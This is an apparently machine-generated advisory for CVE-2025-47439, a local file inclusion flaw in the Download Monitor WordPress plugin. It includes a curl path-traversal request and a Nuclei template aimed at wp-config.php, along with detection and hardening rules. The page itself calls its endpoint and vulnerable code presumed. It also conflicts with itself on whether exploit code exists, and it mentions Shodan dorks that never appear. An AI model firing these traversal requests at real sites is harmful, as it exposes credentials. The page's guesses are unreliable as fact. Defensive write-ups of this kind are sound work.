CVE-2025-47439
Executive Summary
CVE-2025-47439 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the WordPress plugin Download Monitor by WP Chill, up to and including version 5.0.22. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials. The CVSS score is 7.5 (High), and while no public exploit code or proof-of-concept is currently available, the attack vector is straightforward and requires no authentication. As a WordPress plugin vulnerability, it is critical to update or patch the plugin immediately.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and can be installed automatically by site administrators. The supply chain risk is elevated because the plugin is widely used and the vulnerability is unpatched. Attackers may target sites running outdated versions through automated scanning. No official patch or advisory from the vendor (WP Chill) has been released at this time.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Sensitive files can be read.
- Integrity Impact: None (I:N) – No file modification.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to full disclosure of sensitive server files.
Deep Dive & Mechanics
The vulnerability exists in the Download Monitor plugin's handling of file includes. The plugin likely uses a dynamic include() or require() statement where the filename is constructed from user-supplied input (e.g., via a GET or POST parameter) without proper sanitization or validation. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem.
Root Cause: The plugin fails to validate or sanitize the filename before passing it to a PHP include/require function. This allows path traversal sequences (e.g., ../../) to escape the intended directory.
Attack Vector: An unauthenticated attacker sends a crafted HTTP request to a vulnerable endpoint, such as:
GET /wp-content/plugins/download-monitor/includes/class-dlm-ajax-handler.php?file=../../../wp-config.php
The plugin then includes the wp-config.php file, exposing database credentials and other sensitive data.
Impact: Successful exploitation allows an attacker to read any file on the server that the web server user has access to, including:
wp-config.php(database credentials, salts)/etc/passwd(user enumeration)- Application source code (further vulnerability discovery)
- Log files (session tokens, error messages)
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be similar to:
Vulnerable Code (PHP):
<?php
// Vulnerable: Direct use of user input in include
$file = $_GET['file'];
include( $file . '.php' );
?>
Patched Code (Hypothetical):
<?php
// Patched: Validate and restrict file path
$allowed_files = array('template1', 'template2');
$file = $_GET['file'];
if ( in_array( $file, $allowed_files ) ) {
include( __DIR__ . '/templates/' . $file . '.php' );
} else {
// Error handling
wp_die( 'Invalid file.' );
}
?>
The patched version would use a whitelist of allowed files and a fixed base directory, preventing path traversal.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with Download Monitor plugin version <= 5.0.22.
- Knowledge of a vulnerable endpoint (e.g., an AJAX handler or shortcode).
Exploitation Steps:
- Identify the vulnerable parameter (e.g.,
file,template,include). - Craft a request with path traversal to read sensitive files.
Example Request (using cURL):
curl -v "http://target.com/wp-content/plugins/download-monitor/includes/class-dlm-ajax-handler.php?file=../../../wp-config"
Expected Output:
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'root' );
/** MySQL database password */
define( 'DB_PASSWORD', 'secret' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
?>
Automated Scanning (using Nuclei):
id: CVE-2025-47439
info:
name: Download Monitor LFI
severity: high
description: PHP Local File Inclusion in Download Monitor plugin
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/download-monitor/includes/class-dlm-ajax-handler.php?file=../../../wp-config"
matchers:
- type: word
words:
- "DB_NAME"
- "DB_USER"
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing
../orwp-configin query strings. - Look for unusual GET parameters like
file,template, orincludein plugin-specific paths.
Hardening:
- Disable the plugin until a patch is available.
- Use a Web Application Firewall (WAF) to block path traversal patterns.
- Restrict file permissions on sensitive files (e.g.,
wp-config.phpshould be 600 or 640). - Implement virtual patching via
.htaccess:
RewriteEngine On
RewriteCond %{QUERY_STRING} (\.\./|wp-config) [NC]
RewriteRule .* - [F,L]
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-content/plugins/download-monitor/with query parameters containing../orwp-config. - User-Agent strings from known scanning tools (e.g., Nuclei, curl).
File System IOCs:
- Unexpected inclusion of
/etc/passwdorwp-config.phpin PHP error logs. - Modified plugin files (if attacker uploaded a webshell).
Log Entries (Apache):
192.168.1.100 - - [10/May/2025:12:34:56 +0000] "GET /wp-content/plugins/download-monitor/includes/class-dlm-ajax-handler.php?file=../../../wp-config HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
Detection Engineering
YARA Rule
rule CVE_2025_47439_LFI_Attempt {
meta:
description = "Detects LFI attempts against Download Monitor plugin"
author = "Valters IT"
date = "2025-05-10"
strings:
$path_traversal = /\.\.\// nocase
$wp_config = "wp-config" nocase
$plugin_path = "/download-monitor/" nocase
condition:
$plugin_path and ($path_traversal or $wp_config)
}
Sigma Rule
title: CVE-2025-47439 Download Monitor LFI Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in Download Monitor plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- '../'
- 'wp-config'
cs-uri-stem|contains: '/download-monitor/'
condition: selection
falsepositives:
- Legitimate use of path traversal in other contexts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-47439 Download Monitor LFI Attempt"; flow:to_server,established; content:"/download-monitor/"; http_uri; content:"../"; http_uri; content:"wp-config"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations.
- Apply virtual patching using a WAF or
.htaccessrules to block path traversal patterns. - Monitor logs for exploitation attempts.
Long-Term Fix:
- The vendor (WP Chill) must release a patched version that validates and sanitizes file inputs.
- Until then, consider replacing the plugin with an alternative.
Workaround:
- If the plugin must remain active, restrict access to its files via
.htaccess:
<FilesMatch "class-dlm-ajax-handler\.php$">
Order Allow,Deny
Deny from all
</FilesMatch>
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.